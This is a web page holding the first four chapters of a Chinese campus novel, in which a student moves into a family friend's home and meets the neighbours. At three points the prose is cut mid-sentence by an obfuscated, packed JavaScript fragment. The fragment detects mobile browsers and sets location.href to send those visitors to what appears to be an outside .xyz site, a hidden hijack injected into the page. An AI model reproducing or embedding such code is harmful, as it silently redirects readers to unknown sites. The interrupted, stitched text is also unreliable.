《年级第一是我的》 1. 初来 【群聊“学习交流中心”】 降神:特大消息——我曾有一面之缘的学霸竹马要搬进我家了!!! 向日葵:xswl你玩儿抽象呢。 降神:我们爸妈老相识,我妈天天在我根子念叨他,相伴于无形,怎么不算竹马? 向日葵:就那个……什么池? 降神:是他!我妈叫我去门口接。 降神:马上到,一起不? “降神”拍了拍“向日葵”聪明的脑壳说嗷呜 “降神”拍了拍“SSS” 良久,无人在意…… 降神:人都去哪儿了??? 向日葵:磕题中,勿扰。 向日葵:你宋爸爸应该还在高铁上。 降神:提醒我了,我差点儿忘了。 …… 降神:听说是个小帅哥,真没人来? “降神”拍了拍“向日葵”聪明的脑壳说嗷呜 …… 向日葵:等我,速来。 此刻“降神”口中的学霸竹马小帅哥正倚靠在公交车窗边,一手虚搭在旁边的行李箱上,另一只手扯着胸前的卫衣抽绳,有一下没一下地在指尖缠绕。 窗外飘着绵绵细雨,方才刚上车的时候下过一场大雨,现在雨势才渐小。 不算干净的车窗玻璃上雨渍斑驳,污水横流,祝池偏头望向窗外,视线也跟着模糊。 耳机恰好循环到周杰伦的晴天,高潮部分很是应景:“但偏偏,雨渐——” “叮咚~” 第二个“渐”字未落,一声消息提示音将音乐强行掐断。祝池没去管它,依旧跟座雕塑似的盯着窗外出神,除了手里还团着两根早已不成形的抽绳。 “大到我看你不—— 叮咚——见~” “还要多久—— 叮咚~” “我才能——” “叮咚” “叮咚” “叮叮叮咚……” 一串消息轰炸过来,祝池皱了下眉,终于松开手上的绳子,从口袋里翻出手机。 几声不合时宜的叮咚声将听音乐的兴致扫得精光,他索性滑走通知栏置顶的音乐,点开了下面紧挨着的绿色图标—— 微信顶上是两个整整齐齐的联系人: “悦卡服饰祝光明18579630505”“悦卡服饰宁想18169547209” 两个扎眼的红色数字缀在头像旁。 祝池想也没想点开下面数字小的那个,接着视线再次飘向窗外。 “阿祝,我跟你琴姨说了,下高铁你直接坐公交过去,公交就在高铁站里,又是直达,没必要麻烦别人来接。” “到了琴姨家记得有礼貌一点,见到人要喊人,自己能解决的事情就不要麻烦别人。” “琴姨儿子你小时候见过的,和你一般大,学习方面可能比你要稍微差点,你有空多带带他。不过记得分清主次,别把自己的学习落下了。” 这头语音播了一分多钟,祝池任它连续播放,一字不落给听完了。 他抬手将手机靠近唇边,回了句:“母子连心,心有灵犀,你怎么知道我坐的是公交,而且已经快到了。” 语气中带着些嬉皮笑脸,人却依旧侧身瞟向窗外,眼底看不出什么波澜。 他随即退出聊天界面,点开另一个红点,手指向下划拉一通,没多看,只简单扫上一眼。 和刚才的语音内容大差不差,最后一句是:“嘴放乖,手放勤,跟人处好关系,也记得照顾好自己。” 这些年夫妻俩做生意一直奉行“男女搭配,干活不累;男女分工,效率翻倍”的原则,一个在厂房,另一个势必在门店。想来是他俩现在又各自在不同的地方忙碌,快到饭点才得空给祝池发消息。 祝池单手托住手机,大拇指在手机上一顿戳戳点点。 “遵命,谨记父亲大人教诲。”发完又从收藏夹里翻出个“立正站好”的表情包,给祝光明发过去。 回完消息,祝池吐口气将手机摁灭。 不知不觉间窗外的景象又换了一番,不过总之,都是他所陌生的。 “朝阳路中到了,请下车的乘客从后门下车。” 后车门闻声打开,一股湿热的暖风扑进来。他上车的时候没有空位,大半程就这么干站着,腿都站麻了,直到前两站才得了靠门的位子坐下。 这一站下车的人异常多,顷刻间,人群如潮水般朝他涌过来,热浪似的人流推推搡搡往后车门挤,也不知是人的体温还是外头闷热的缘故,总之,让人有些喘不过气。 不过挤归挤热归热,祝池仍自觉朝里头缩了缩,五指牢牢扣住行李箱,顺带着将箱子也往里挪,好给下车的人腾出一条道。 “车辆起步,请站稳扶好,下站到达——满庭芳园。” 伴随一阵气闸声响,公交车后门缓缓合上,整个车厢顿时空旷不少。祝池总算缓过一口气,伸手将空调出风口扒向正对自己,冷气从鼓风口直射到微微汗湿的肌肤上,凉意四起,潮热瞬间消散。 算起来,这里祝池已有上十年没来过了。怀城虽是祖籍,但自从爷奶去世,叔舅妯娌相继移居外省后,他们家同其他亲戚一样,这些年走南闯北四处做生意,都没顾得上回故乡看看。 祝池家以前就住朝阳路,他幼儿园是在这一片上的,印象不深,但多少还有点。 隔着车窗玻璃,透过水雾窥见的景象与之前早已是两模两样。林立的写字楼,气派的大商场,繁华的商业街,绿化井然的中心广场……谁能想到这里之前还是破破旧旧,喷着大红油漆的拆迁房,和鱼龙混杂,小摊小贩横行的狗市场。 车里回归寂静,只剩下轮胎打滑的呲溜声和空调呼呼运作的轻响。祝池再次调出音乐,这次换了首“稻香”。 “还记得家是唯一的城堡……” 窗外的景象越来越模糊,祝池收回视线。物是人非,从房子拆迁的那一刻起,这里就不再是他们的家了。 之前的拆迁款父母用来还了欠债,还完后还有剩余,也正是有了这笔钱,父母才终于下定决心经营自己的服装品牌。 在拿散货流行的服装市场上,独立设计品牌并不容易熬出头,父母下了很大心血,坐了几年冷板凳,这才逐渐打出悦卡的名号,生意也越做越顺溜。 可如今的朝阳路不比之前,现在俨然已经成为寸土寸金的闹市区,房价水涨船高,势必也跟着翻了几番。 祝池想,要是当时拿拆迁款买了房子,照当下房价来算,轻轻松松就能净赚一大笔。要不是现在生意做得还不错,祝光明估计肠子都悔青了。 “满庭芳园到了,请下车的乘客从后门下车。” 语音播报结束,祝池没着急起身,等公交车稳稳停好后,才拖着箱子往外走。 外头雨仍淅淅沥沥下个不停,雨势虽不大,却也不是毛毛雨,打在头上很明显能感受到水滴的重量。 祝池不是没有伞。 伞在箱子里,不过他懒得翻,何况他也没那么娇贵。 祝池左手将卫衣帽子扣在头上,右手拎着行李箱,半截袖下白皙精瘦的小臂青筋鼓起,他没犹豫三两下跳下台阶,闷头扎进雨里。 下车时祝池和琴姨发了消息,琴姨说他儿子在门口迎他,又把他儿子微信推给他,只是对方到现在也没通过他的好友申请。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667824|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >公交车站虽然用的是满庭芳园的小区名,实际下车却并不是停在小区门口。 祝池茫然地环顾四周,从外面可以看见一片白墙黛瓦的雅致别苑建筑群,淡黄的围墙将别墅和街道分隔开,却怎么也没瞧见入口。 无奈之下,他只好掏出手机,打开高德地图。 “高德地图持续为您导航,目标地点满庭芳园。从当前位置出发,左转。” 祝池跟着导航指引左转,沿着围墙走了约莫50米。 “右转。” 祝池照做,刚走出两步语音提示就再次传来:“目标地点就在附近,导航结束。” …… 祝池楞在原地傻眼。 面前仍旧是一堵不见入口的墙,只是从原来的矮墙换成了更高的墙,无情地将他拒之门外。看房子朝向和方位,估摸是被带到了小区后面,颇有种渐行渐远的趋势。 呵,他就知道。 这缺德地图果然靠不住。 俗话说靠什么都不如靠自己,路是自己走出来的。在和高德的几番谈判中败下阵来,他索性强行闭麦,企图摸索一条顺应当地路况的特色道路,可谁知刚走出没几步,还真让他遇见了突破口—— 一道铁栏杆小门明晃晃摆在面前,门没锁,轻轻一推就开了。 就这? 高档小区? 这不是什么阿猫阿狗都能随便进…… 与此同时,贺景阳约着许向暖在大门口等人,两人抻着脑袋往外张望。 “怎么还没来啊,你给人发个消息问问?”许向暖问。 贺景阳忙去掏手机,掏到一半才突然想起来:“我好像……还没加他。” “……” 许向暖对贺景阳的冒失行为深表无语,只觉太阳穴突突直跳,知道现在说什么都晚了却还是忍不住道:“你都不知道人什么时候来就喊我出来迎,迎雨还是迎空气啊?” “我妈跟我说他差不多快到了,”贺景阳忙解释,“应该没错,我再来问问。” “哎!他加我了。” 一惊,一乍。 许向暖将头凑过去,“住……持?有这个姓?” “也许吧。”贺景阳说,“中国姓氏千千万,姓什么都不奇怪。” 【你已添加了住持,现在开始聊天吧。】 住持:[你好哇] 住持:我到了,已经进小区了。 “走,我们快回去。他进去了!”贺景阳拉着许向暖就往回走,没等许向暖反应过来人就已经被拖进小区。 许向暖:“哎,没门禁他怎么进去的?” - 进去后祝池顺利找到小区地图,跟着上面的指引,又很快锁定琴姨发来的门牌号。 满庭芳园全是独栋别墅,古色建筑整齐划一,虽不是新楼,但墙体的斑驳反倒增添了古朴民居的氛围,让祝池一瞬想起村里的老屋。 门牌号按次序排列,很容易找。 祝池在15号楼门前站定,刚要敲门手却顿住,想着还是先给贺景阳发个消息为好。 此时的贺景阳手机揣在兜里,一心赶路,全然不知微信顶上多出的小红点。 他加快脚步往自家方向走,遥遥望见一个身材挺拔、清瘦高挑的身影,头上罩着卫衣帽,手上拖着行李箱,想来是“住持”没错了。 “快看,在那儿,人来了!”贺景阳兴奋地指给许向暖看,“我就说是个帅哥吧,不用看五官,光这身形就够有范儿的了。” 许向暖觑向前方,点头附和:“是挺帅。” 帅哥引得许向暖又仔细瞅了两眼,却总觉得有种说不上来的熟悉感,“不过——那人怎么那么像宋时?!” 2. 初见 那个被称作像宋时的家伙站在15号楼不远处,望见门口的人穿着和自己相似的白色连帽衫,旁边立着同款黑色行李箱,正鬼鬼祟祟地朝窗户里张望。 “喂,你找谁?” 这人声线很低,没什么情绪,祝池只觉一股冷气直直钻进耳朵,惹得他浑身汗毛耸起,身上的汗也骤然间干了一半。 声音和他想象中不太一样,和名字也太不相符。 祝池嘴角扯出一抹笑,从口袋里掏出左手,正准备和多年未见的老朋友打个招呼。 可转身,却对上一双比声音还冷的眼眸。 漆黑瞳仁恍若深不见底的宇宙黑洞,眼尾上挑,眉目张扬,看上去有些凶神恶煞。然而这煞鬼此时偏偏盯上他了,眼神里不见丝毫善意。 祝池将他刚刚的话在脑子里又过了一遍,如果是来接他的话,开场白应该是“你是XXX吧。”或者“你好,我是XXX。”之类的,总之不会是“你找谁?”这类警戒性极强的问题。 抬了一半的手悬在腰腹间,祝池觉得再放下去也不合适,干脆把动作做全:“我来找贺景阳,你是——” 那人摸清楚祝池的来意,显然是直接跳过了他的问题,伸手往对面指了指,“贺景阳住对面,这是我家。” “???” 你家?找错位置了? 祝池看向对门,两栋一样的建筑面对面相望,中间只隔了条不宽不窄的青石板路。他又扫了眼门牌,确实是15号没错啊。 祝池不死心,斗胆向那位看起来不好惹的住户发问:“琴姨跟我说就是15号楼,这不是吗?” 问话间,对面的人已经拖着行李走到他面前。 远看没感觉,近看才发现他比自己还要高出一个额头,加上天然的冷气环绕,这点不足以造成压迫的身高差被瞬间放大。 对方长臂横越过他,手指在门派号上点了点,“看好了,这是15号B栋,对面也是15号——A栋。” “……” 搞这么累赘,成心误导人是吧。 祝池平静地“噢”了声,对方的目光却没移开,祝池感受到他在看自己。 “还不走,非要我开门你才死心?” 祝池扭头,两人目光再次撞上,那人眼神依旧渗着寒气,像是下一秒就要给他打包送走。 凶什么,至于吗。 “我这就走。”祝池提起行李箱抬脚就要下楼梯—— “哎,真是宋时啊,他回这么快,我还以为得下午呢。” “我就说吧,你得去看看眼科,宋时都认不出。” 祝池闻声望过去,一男一女正朝他们这边走来。男生平头呲着个大牙,看着有点傻,女生短发叼着根棒棒糖,看起来很酷。 “你就是住持吧,幸会幸会,”贺景阳径直走到祝池身边,“我是贺景阳,即将成为你的同居对象,请多指教啊。” 贺景阳两只手直接握住祝池左手,一个人可劲儿摇了半天。 祝池很领情,将手机踹进兜里,腾出两只手来回握住他的手,顺着他的节奏上下颠簸。 这才对嘛,叫景阳的怎么会难相处呢。 贺景阳揽上祝池脖子,对许向暖说:“我没骗你,是个帅哥吧,简直是等比放大。” 祝池有些诧异:“你还记得我小时候长什么样?” 虽然来之前宁女士也说他俩小时候见过,但或许是人总会有变化,又或许是他小时候记性太差,总之对于眼前这个浓眉大眼的社交牛人,祝池是真没什么印象。 “家里现在还存着我俩三岁合照呢,一会儿回去翻给你看。”贺景阳越说越起劲儿,“当时你还剃个光头,看着可精溜了。” 光头是祝池最不愿提及的黑历史。 据说他出生时头发干黄稀疏,宁女士不知打哪儿听说剃光头可以生发一说,五岁前祝池头发只要一长出来,宁女士就会带他到理发店推干净。 虽说现在头发养起来了,但也给祝池的童年留了不少黑历史档案。更令人崩溃的是,这些黑历史没被埋入棺材,反倒是流落在外了。 祝池苦笑两下:“不了,你留作纪念就好。” 就在祝池还在膈应照片的时候,许向暖不知盯着他看了多久。 “哇,你笑起来好甜啊,我感觉尸体都暖和了。我要当你的妈粉!” 祝池有点惊,不过妈粉也是粉,总之是好印象,于是笑得更灿烂了。 要说这还是他第一次被这样夸,没想到这个看着有点酷的女生竟这么活泼。 “你好,我叫许向暖。”许向暖伸出手。 祝池没犹豫和她握手,自顾自念叨起来:“向暖,景阳……名字听起来就很温暖。” “谢谢啊,”许向暖讪讪一笑,又瞪了眼他旁边那个笑得没皮没脸的寸头。 “不过拒绝捆绑贺景阳,我跟他名字才不像呢,每个字,每个音,都不一样。” 说完后,许向暖拍了拍祝池肩膀:“我宣布——从今天起,满庭芳园颜值No.2就是你了。” 贺景阳追问:“那No.1呢?” “这还用问,”许向暖咬着嘴唇说:“当然是我安哥了。” 贺景阳翻了个白眼,表情像吃了屎一样难看:“就这眼神,什么垃圾野榜。” 许向暖似乎没听见,只看见祝池莫名轻笑了一声,她转头看向宋时:“哎,来新成员了,别不说话啊,自我介绍一下。” 对新成员并不感兴趣的原No.2正倚在门边摁手机,听到有人叫他,才不情不愿挤出四个字,好像多说一句都是在浪费他口舌,“你好,宋时。” 熟悉又陌生的低沉嗓音从背后袭来,祝池条件反射般绷直了身体。 我靠,这家伙该不会是寒冰射手附体吧,只要开口就能发射冰豌豆的那种。 祝池扭头看了眼,宋时一手扶着箱子一手玩着手机,并没有腾出空余的手来和他握手的打算。 既然对方无意,他也不会热脸贴冷屁股,于是默默放下身侧不安份的小爪,礼貌回了句“你好”。 许向暖注意到二人相同的白衣黑裤,不免又想起刚才认错人的事来,“跟你说,刚才贺景阳竟然把你当成祝池了,我瞅着你俩除了衣服一样长得也不像啊。” 听到这,宋时终于掀起眼皮,一把冰豌豆直击贺景阳,“这才几天,你爸爸我都不记得了。” 冰豌豆的威力不小,不止祝池,贺景阳也忍不住打了个哆嗦,不过还是麻溜地跑过去勾上宋时肩膀,“哎呀,帅哥总是相似的嘛,您的音容笑貌我是怎么说都不会忘的,嘿嘿。” “松手,”宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667825|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时白了他一眼,将肩膀抖了抖,无奈贺景阳跟块狗皮膏药似的,粘在身上纹丝不动。 “赶紧把你的人领走,然后——” “各回各家,各找各妈!” “妈”字刚落,贺景阳的妈就真来了。 女人打扮艳丽,大红唇配黑墨镜,高跟鞋踩得稳稳当当,看见一帮孩子聚在宋时家门口,立马加快脚步赶来,胳膊上还挎着大包小包的购物袋。 明明四个人站在那儿,柳琴眼里却只有祝池,她眼睛不带绕弯儿地瞄向中间那个俊秀瘦高的少年,脸上堆着笑。 “是小池吧,坐车辛苦了,我本来是说去接你的,你妈非说什么坐公交方便,不用折腾,我想着那也行,正好就去给你买了点衣服和日用品,也不知道够不够,要是缺什么之后再添吧。” 祝池看了眼她手里鼓鼓囊囊的几个购物袋,看这架势,应该是比他带的行李还要全。 虽说他父母是做服装生意的,但做的是女装,吃穿方面祝池从小也不讲究,统共没几件衣裳,够穿就行。 “琴姨有心了,不过衣服我都有带。” 柳琴看了眼他旁边孤零零的一个箱子,尺寸不算大,哪里装得下几件衣服,“没事,就当换新了,贺景阳那些鞋柜子都堆不下了,还成天吵嚷着要买新鞋呢。” “对了,你们怎么站这儿啊。专门挑宋时家门口开茶话会?” 统共没说几句话的宋时这回先开口道:“他应该是走错了,都是15号,确实容易弄混。” 祝池惊得又一个激灵,这会不是被冰豌豆砸中,而是被这过于平和温柔的声音吓到。 原来这人会正常说话啊,刚才装什么装。 柳琴像突然意识到不对,惊呼一声:“呀,我忘说清楚了,又把那个A给漏了。” 亲儿子不忘拆亲妈的台:“妈,您这都第几次了,上次快递直接邮到祝池家,上上次外卖也给填错了,还有……” “行了行了,”柳琴打断他,“不都赖这破小区,那么多数字还能重复,阿拉伯就能解决的问题非要扯到ABC,画蛇添足。” 琴姨伶牙俐齿将锅甩得彻底,祝池跟着默默点头,这倒是说到他心坎去了,简直就是他的最强嘴替。 宋时拿钥匙拧开门:“琴姨,那我先进去了。” 许向暖:“我也回了,已经闻见家里的饭香了,琴姨再见。” 众人散了,琴姨朝贺景阳吩咐:“贺景阳,还杵那儿干嘛,不快帮人拎行李!” 祝池刚准备提箱子,贺景阳就奉母亲大人诏曰,将箱子一把接过去:“我去,你这装得什么啊,这么重。” “要不我来?”祝池说。 “不用,我能行。”贺景阳弓着腰,几步酿跄下了楼梯,祝池看得心惊,深怕他把腰给闪着了。 看他如此执着,祝池没再劝,转手将琴姨手上的大包小包揽过来,“琴姨,我帮您拿点。” 说是拿点,却几乎给它全薅了过去。 “你这到底装的什么啊,什么钢筋铁甲这么重?” 祝池看他吃力的样子,有些不忍:“不全是衣服,还有……书。” “……” 琴姨不知被哪句话逗笑了,一边笑一边打趣贺景阳:“这小子欠练,是该让他感受感受知识的分量。” 3. 加群 箱子里装的是高中全套课本。走之前宁女士虽然叫他轻装简出,但课本显然不在简出的行列,箱子边边角角被宁女士见缝插针塞上没做完的必刷卷,美名其曰“不能浪费”。 课本他其实并不常翻,但宁女士却坚持认为什么资料书都比不上课本。 祝池对此不以为然,但事实证明,宁女士的观点是具有前瞻性的。 琴姨打开密码锁,房门推开的瞬间,一股熟悉的藕汤香气扑鼻而来。 “夫人和景阳回来了,快洗洗手准备吃饭。”中年妇人端着瓦罐往餐桌走,回头瞥见后面还跟着个半大的小伙,不禁疑惑,“这位是?” 琴姨忙把祝池推到人前,介绍道:“这是小池,光明的儿子,小时候见过的。” 那人怔愣了几秒,听到祝光明才猛然反应过来。 “哦——”尾音拖得很长。 “原来是小池啊,都长这么高了,怪不得说有点眼熟呢。” 显然,祝光明的名号比自己要响亮得多。 祝池勉强跟着笑笑,他不知道她是否真的记得自己,但看起来实在是回忆得勉强。 “李妈是我们家的老人了,都是自己人,平时有什么需要尽管说,不用放不开。”柳琴道。 “对对,平时有什么想吃的直接跟我说,欢迎点菜。”李妈说。 他们说话的空档,贺景阳早已接过李妈手里的瓦罐,迫不及待坐到餐桌旁,“李妈手艺是真的没话说,做怀城菜那更是一流,保准让你吃到正宗的家乡味道。” 柳琴闻声望过去,只见贺景阳拿着汤勺,正要往碗里添汤。 火气蹭一下就上来了,柳琴恨不得把他从餐桌上拎起来,“贺景阳!怎么又没大没小的,人还没齐,客还没上桌,你就自顾自吃上了,这么大人了还没点规矩。” 这边火烧得正旺,但只要没烧到贺景阳身上他就不慌,小少爷依旧不紧不慢地盛着汤:“谁说我要吃了,我提前给你们盛出来,放凉。” 回答机智满分,柳琴也无言以对。 不一会儿,玄关处传来动静。 祝池看过去,一个西装革履的男人正朝这边走来,个子不高,怪瘦的,正装穿在他身上有种说不出的蹩脚感,皮肤黝黑,给人一种换件背心就能上工地搬砖的错觉。 总之,和大老板的刻板印象有不小出入。 祝池猜这应该是贺景阳他爸,于是率先站起来喊了声“叔叔好”。 贺云天瞧见祝池,连忙摆手叫人坐下,“不用讲这些礼仪,你们先吃就是。” 说话时天然的微笑唇平添几分和气,语调带点儿怀城口音,祝池听着莫名亲切。 “这是小池吧,长成大小伙了,看着比景阳还要高点。干净、清爽、精神。” 贺云天夸人就夸人,还不忘踩一捧一。 “贺景阳那臭小子平时就没个正形,”他指着贺景阳说,“瞧瞧你,穿得都是些什么。” 贺景阳低头看了眼前胸的骷髅头,灰色无袖T上大片彩绘铺染,铆钉闪亮,这可是他专门找人代购的限量联名款。 他有点不服气:“哪儿没正形了,这不挺好看的。我这叫潮牌,就您这眼光欣赏不来也正常。” 贺云天嫌弃地又看了他一眼:“我是欣赏不来。学生没个学生样,成天打扮得跟个社会混混似的。” 数落完贺景阳,贺云天才又想起祝池来,“小池啊,你父母最近怎么样?” 祝池咀嚼的动作停下,“挺好的,就是很忙。” “他们这生意是越做越好了,什么时候考虑考虑把连锁店开到怀城来,我们也好去光顾光顾。” 琴姨笑着说:“是啊是啊,光看是你妈妈发的朋友圈图片,我就觉得这衣服肯定不错。” 据祝池所知,父母的生意经营主要还是集中在沿海地区,那里服贸业发达,潮流趋势也走在全国前列。尽管悦卡现在还没有拓展全国业务的资金和规模,但就算要出省开分店,居于内陆经济平平的怀城也不是第一选择。 不过祝池不会去驳人情面,他知道怎样画大饼,怎样说好场面话。 “怀城当然是开分店的第一选择,毕竟是故里嘛,熟人也多。”祝池眼角弯着笑,“琴姨要是喜欢这还不简单,根本不用等店开过来,我回头直接叫我妈给您寄到家里,保准是最新款。” 琴姨只随口一提,不过听到祝池这么说也不免眉开眼笑,满口欢心地答应下来。 “学校那边都安排妥了吧。”贺云天问。 “早就安排好了,小池开学直接去市一中报道就行,和景阳在一块。”柳琴有些得意,像是在炫耀自家儿子,“小池成绩好,都不用我专门提,人家校长一看往年的成绩单,二话不说就把他调到了特奥班。” 祝池没做声,只是抿着唇笑。 “贺景阳,现在就剩你一个在平行班,有什么想法?” “我?”突然被cue,贺景阳手上的排骨啃了一半,他咬下一大口肉边嚼边说:“那我可得把这根独苗给守好,做他们广大平行班里的唯一人脉。” “嘿,你还挺光荣是吧?之前你说给你转特奥班你不干,现在小池来了,不考虑去照应一下?” 贺景阳觑一眼祝池,面上挂着兄弟对不住了的表情,“不是还有宋时和许向暖吗,不差我一个。” “还有,妈你是不是忘了我选的是物化地,物理类只有大理有特奥班,地理你是想让我去走班读?” “别提这茬,提这茬我更气。你说你地理生物都差不多,干嘛非得选物化地,是不是成心不想进特奥班?” “你怎么知道。”贺景阳小声嘀咕。 “你说什么?” “……我是说,我觉得地理更适合我。你说现在为啥要搞新高考,不就是为了让我们有更多选择嘛,都选大文大理和老高考有什么区别。” “行行行,之后填专业的时候你就老实了……” 吃过午饭,贺景阳领着祝池上楼。楼上两间房,贺景阳和祝池一人一间。 “当当当当,迪士尼总统豪华套房,怎么样,合不合口味?” 祝池推开门后彻底傻眼了。 这可能是不少男孩子小时候的梦中情房,但一定不是他的。 墙体被通身刷成海洋蓝,柜门两侧的米奇和小熊□□朝他招手,像是在热烈欢迎他的到来。 祝池抬头,天花板上的水晶吊顶绚丽夺目,璀璨闪烁,闪得简直要戳瞎他的双眼。水晶灯旁最引人瞩目的当属胡迪和巴斯光年的肖像彩绘,两张嘴四排牙咧开,正朝他释放招牌笑容的魅力。 可谓是白天动画片,晚上惊悚片。 “那个……别介意啊,其实我也觉得挺丑的,”贺景阳似乎看出祝池僵住的表情,安慰道:“我堂弟之前来住过一段时间,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667826|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装成这样了。不过这间有独立卫浴,这点还是很方便的。” “你要是实在不喜欢,我跟你换也行……” “不用。”祝池将行李拖进去。 “挺好的,”他坐在床上按了按松软的床垫,“这叫什么?回忆杀。正好让我重温一下童年。” 虽然他的童年没有米奇,没有巴斯光年,也没有迪士尼。 贺景阳松了口气,和他一块坐到床边,“那个,我刚刚说不想转班跟你没关系,主要原因其实是不想补课……” “懂,”没等贺景阳解释完,祝池便了然,“特奥班嘛,肯定少不了补课。我之前学校也是这么干的。” “那我就放心了,”贺景阳仰躺下去,单手枕着头,”我还以为就一中这么恶心呢,原来特奥班补课是全国统一的骚操作啊。” “对了,忘拉你进群了。”贺景阳突然从床上弹起来,拍着脑门说。 “???” “学、习、群。”贺景阳一脸坏笑。 祝池有点不信,加上后才发现群名真叫“学习交流中心”。 “这名字你认真的吗?”祝池问。 “哎,防火防盗防柳琴,看破不说破。” “……” 祝池点进去翻了下群成员,分别是“降神”、“向日葵”,还有……一串类似于评级的符号—— “SSS” 祝池脱口而出:“这个‘SSS’是那个宋时吧。” 贺景阳一脸不可置信,本来还打算让他猜猜昵称的,没想到人直接精准匹配了。 贺景阳不解:“他看着是很牛逼吗?” “倒也不是,排除法罢了。”一提到宋时,他那张校霸脸莫名又浮现在祝池脑中。 实话实说,长得确实挺牛逼的,像是能一个人干趴全场,后面还跟着一群屁颠屁颠小弟的那种。 祝池嘴里不自觉念叨:“景阳,景阳,降。贺降。” 两个字读快了还真成了降,挺有意思。 “这只是最浅显的一层,别小瞧这名儿。” 祝池好奇,还有深意? 贺景阳清了清嗓子。 “降神,全称古希腊圣波比亚雅典娜降落之神,”贺景阳信念感十足,“寓意loveandpeace,感性与理性并存,实力与欧气齐驱。” “啊?”祝池没反应过来。 “什么神?” “额……” “嗯……” “古、古希腊……”贺景阳卡住,“这不重要,反正就是爱与和平的象征。” 祝池干笑两声,很给面子地为他的爱与和平鼓掌。 就扯吧,也是够中二的了。 “宋时,SSS……”祝池咂摸一遍,“所以这个SSS是宋时的首字母缩写,那为什么还多一个?” “这逼说当时打的时候不小心多点了一下,懒得删,”贺景阳轻啧一声:“我都懒得喷,这逼肯定是故意的。” SSS—— 宋、时……骚? 故意的?也不一定吧。 “帅而不自知才是真帅,那些天天把帅挂在嘴边的,顶多是小帅,”贺景阳翘着二郎腿等着游戏加载。 “不像我,这方面一直都很低调。” 祝池这才反应过来,原来SSS的真实含义是—— “宋、时、帅”。 4. 换服 游戏页面加载完毕,一阵熟悉的峡谷背景音乐钻入耳中,吵得祝池耳根子生疼。 “操,我怎么不小心把声音开最大了。”贺景阳惊得手机没拿稳,在空中换手倒腾了三两下才不至于掉在地上。 他忙将手机调回静音。 贺景阳点开排位,“一起开一局呗。” 祝池怔愣片刻,点开手机页面常年吃灰的一个收藏夹“随便玩玩”:“行,不过我好久没玩儿了,段位可能没法儿和你一起打排位。” 贺景阳在微信好友中翻出祝池,一看他段位——“荣耀黄金IV”:“哥们,你这是有多久没玩儿了啊。” “没多久,”祝池轻描淡写道,“也就一年多吧。” 贺景阳是“至尊星耀I”,本来还想找人带带上王者的,但无奈周围的人都是不玩游戏的好好学生,许向暖只玩奇迹暖暖,宋时就更不用说,从来没见他玩过任何游戏。 贺景阳打量着祝池,面前这个新来的伙伴看起来挺乖,也不像是会打游戏的料。 “没事,那就打排位算了,随便打的玩玩。”贺景阳退出排位,点开对抗的5v5,邀请“住持”开局。 “你名字谐音还挺有意思的,我和许向暖还以为你真姓住呢。”贺景阳边挑英雄边说,“我去,这个‘深海鱼雷’怎么把我本命抢了,今天真是踩雷了。算了,换一个,哥是六边形战士。” 祝池没急着选英雄,而是等大家都挑完了,看缺什么再补什么,“你别说,我小学的时候还真见过姓这个‘住’的,叫‘住方’。” 贺景阳在嘴里念了几遍才琢磨过来其中的奥妙:“住方,住房,这个谐音梗更牛逼。以前没发现,这个姓原来这么有梗。” “不过姓祝挺好的,”贺景阳啧叹,“别致,高级,不烂大街。” 祝池心想,那倒也不一定,譬如祝光明。 每次看见“祝光明”三个字,总会让人不自觉联想到超市货架上蓝色纸盒包装的光明牛奶。 不算烂大街,也就是随处可见吧。 这局匹配结束得相当迅速,只用了10分钟。 他们队不费吹灰之力取得胜利,而最大功臣当属这里面段位最低的“住持”。 祝池手机界面上显示着大大的“MVP”和“金牌射手”。 20击杀,6助攻,0死亡。 贺景阳抱着手机,目瞪口呆地盯着他:“我去,你这真是黄金水平?实话实说,你之前是不是上过王者?” 祝池:“没,最高钻石。” “那就是天赋,天生游戏圣体,”贺景阳赶紧抱住大佬胳膊,“你赶紧练几把,照你这水平,上分快的很,一个下午上王者也不是不可能。菜咕求带飞。” 王者荣耀是当下年轻人时兴的竞技对抗游戏,但祝池其实兴趣不大,以前初中的同学捞着他下载了这个游戏,祝池陪他们打过几把,之后就没怎么玩儿过了。 对祝池来说,与其说这是个打发时间的消遣,不如说是用来融入圈子的社交工具。即使是不熟的人,一起打几把游戏也就自然而然熟了。 不过对于贺景阳,显然用不着靠游戏来拉近距离。 祝池把游戏退了,开始将箱子里中的东西往外搬,“琴姨还指着我来了能帮你提提分,我就算起不了正向作用,总不能把你往反方向霍霍吧。” 贺景阳道:“这两个不冲突,我就放假玩一会儿,你放心,平时我肯定会好好学习的。” “我保证。”怕他不信,贺景阳把手举起来。 挺真挚的鬼话,不过家长都糊弄不过去,更别提作为过来人的祝池了。 